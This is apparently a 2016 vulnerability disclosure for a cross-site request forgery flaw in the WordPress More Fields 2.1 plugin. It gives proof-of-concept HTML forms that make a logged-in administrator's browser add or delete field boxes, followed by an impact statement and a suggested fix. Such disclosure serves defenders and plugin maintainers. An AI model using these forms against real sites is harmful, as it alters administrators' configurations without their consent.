WordPress Plugin More Fields 2.1 – Cross-Site Request Forgery
# Exploit Title: Wordpress More Fields Plugin 2.1 Cross-Site Request Forgery # Date: 28-02-2016 # Software Link: https://wordpress.org/support/plugin/more-fields # Exploit Author: Aatif Shahdad # Twitter: https://twitter.com/61617469665f736 # Contact: aatif_shahdad@icloud.com # Category: webapps 1. Description The plugin More Fields has CSRF token validation disabled for all functions, including the add box and delete box options. As a result, a specially crafted attacker page could cause a logged-in administrator to add and delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin. 2. Proof of Concept Login as admin to the wp-admin area at http://example.com/wp-admin. Open the following Proof-Of-Concept with the browser that you used to log in. POC to add box named ‘test’: --POC begins-- Add Boxes: <html> <body> <form action="https://example.com/wpadmin/optionsgeneral.php?page=more- fields&action=save&keys=_plugin%2C57UPhPh&navigation=boxes" method="POST"> <input type="hidden" name="label" value="test" /> <input type="hidden" name="post_types[]" value="press" /> <input type="hidden" name="position" value="left" /> <input type="hidden" name="fields" value="" /> <input type="hidden" name="ancestor_key" value="" /> <input type="hidden" name="originating_keys" value="_plugin,57UPhPh" /> <input type="hidden" name="action" value="save" /> <input type="submit" value="Submit request" /> </form> </body> </html> Remove Boxes needs the following simple GET request (Assuming the name of the Box we want to delete is ‘test’): <html> <body> <form action="https://example.com/wpadmin/optionsgeneral.php"> <input type="hidden" name="page" value="more-fields" /> <input type="hidden" name="action" value="delete" /> <input type="hidden" name="action_keys" value="_plugin,test" /> <input type="submit" value="Submit request" /> </form> </body> </html> Note: I have removed the CSRF tokens from the requests as they are redundant and not validated. --End of POC-- 3. Impact The attacker can add/delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin. 4. Solution: Add in CSRF token validation to the plugin or switch to a different plugin. The development of the Plugin has ceased so this happens to be the latest version which can’t be upgraded as of now. |